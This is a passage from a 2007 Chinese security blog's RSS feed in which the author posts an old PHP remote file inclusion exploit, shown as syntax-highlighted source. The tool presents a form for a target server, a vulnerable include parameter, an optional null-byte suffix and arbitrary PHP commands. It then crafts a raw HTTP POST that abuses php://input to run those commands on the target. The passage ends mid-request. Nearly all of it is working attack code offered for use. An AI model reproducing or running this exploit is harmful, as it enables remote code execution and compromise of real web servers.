<img src ="http://www.phpweblog.net/GaRY/aggbug/1272.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-29 13:45 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/29/ring3_inline_hook_demo.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>小东西</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/22/1239.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 22 May 2007 08:12:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/22/1239.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1239.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/22/1239.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1239.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1239.html</trackback:ping><description><![CDATA[翻找以前的东西.找到以前写的一些小东西,自己都不记得了....<br>呵呵,丢上来,都是些没有技术含量的玩意<br><br>Remote Include File 的exp,利用的是php://input,所以要求对方php起码要有4.3.0版本以上:<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">&lt;?</span><span style="COLOR: #000000">php<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;PHP&nbsp;include&nbsp;file&nbsp;exploit&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;Modified&nbsp;by&nbsp;wofeiwo&nbsp;&lt;wofeiwo[0x40]gmail[0x2e]com&gt;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;Date:&nbsp;Jun&nbsp;24th&nbsp;2006<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000">&nbsp;stripslashes_array(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #800080">$array</span><span style="COLOR: #000000">)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #0000ff">list</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$var</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">each</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$array</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">argc</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">argv</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">strtoupper</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">.</span><span style="COLOR: #008080">intval</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">$key</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">is_string</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$var</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$array</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">stripslashes</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$var</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">is_array</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$var</span><span style="COLOR: #000000">))&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$array</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;stripslashes_array(</span><span style="COLOR: #800080">$var</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$array</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">get_magic_quotes_gpc</span><span style="COLOR: #000000">())&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$_GET</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;stripslashes_array(</span><span style="COLOR: #800080">$_GET</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;stripslashes_array(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$server</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">server</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">?</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">server</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$file</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">file</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">?</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">file</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$iszero</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">iszero</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">?</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">checked</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$cmd</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">cmd</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">?</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">cmd</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">?&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">style</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>body&nbsp;{font</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">family&nbsp;</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;sans</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">serif;background</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">color</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">ffffff;&nbsp;color:&nbsp;#000000;}</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">b&nbsp;{font</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">family&nbsp;</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;Courier&nbsp;</span><span style="COLOR: #0000ff">New</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;sans</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">serif;font</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">size&nbsp;</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;24px;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">center&nbsp;{text</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">align</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;center;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>input&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">family</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Verdana</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">size</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">10px</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BACKGROUND</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">COLOR</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">#FFFFFF</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;height</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">18px</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">2px&nbsp;solid&nbsp;#666666</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">style</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">center</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">b</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">PHP&nbsp;</span><span style="COLOR: #0000ff">include</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">file</span><span style="COLOR: #000000">&nbsp;exploit</span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">b</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">font&nbsp;size</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">2px</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">Notice</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;this&nbsp;exploit&nbsp;cannot&nbsp;be&nbsp;used&nbsp;</span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;target&nbsp;is&nbsp;below&nbsp;PHP&nbsp;</span><span style="COLOR: #000000">4.3</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">font</span><span style="COLOR: #000000">&gt;&lt;/</span><span style="COLOR: #000000">center</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">form&nbsp;action</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">&nbsp;method</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">post</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>target&nbsp;server&nbsp;</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">text</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;name</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">server</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;value</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;?=$server?&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>target&nbsp;</span><span style="COLOR: #008080">file</span><span style="COLOR: #000000">&nbsp;(including&nbsp;URI&nbsp;parameter&nbsp;used&nbsp;in&nbsp;</span><span style="COLOR: #0000ff">include</span><span style="COLOR: #000000">()&nbsp;call&nbsp;ex</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">index.php?includeParam=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">:&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">text</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;name</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">file</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;value</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;?=$file?&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>add&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%00</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">checkbox</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&lt;?=</span><span style="COLOR: #800080">$iszero</span><span style="COLOR: #000000">?&gt;</span><span style="COLOR: #000000">&nbsp;name</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">iszero</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008080">exec</span><span style="COLOR: #000000">&nbsp;(enclose&nbsp;php&nbsp;commands&nbsp;between&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">lt;</span><span style="COLOR: #000000">?</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">..</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">?&amp;</span><span style="COLOR: #000000">gt;&nbsp;tags)</span><span style="COLOR: #000000">:&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">text</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;name</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">cmd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;value</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;?=&nbsp;htmlspecialchars($cmd);?&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;&lt;</span><span style="COLOR: #000000">br</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">INPUT&nbsp;type</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">submit</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;value</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">send</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">form</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;?</span><span style="COLOR: #000000">php<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">cmd</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]))<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$zerochar</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$iszero</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">checked</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">?</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%00</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">POST&nbsp;/</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$file</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">php://input</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$zerochar</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;HTTP/1.1\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept:&nbsp;image/gif,&nbsp;image/x-xbitmap,&nbsp;image/jpeg,&nbsp;image/pjpeg,&nbsp;application/x-shockwave-flash,&nbsp;*/*\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept-Language:&nbsp;fr\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Content-Type:&nbsp;application/x-www-form-urlencoded\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept-Encoding:&nbsp;deflate\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">User-Agent:&nbsp;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;MyIE2)\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$message</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Host:&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$server</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span 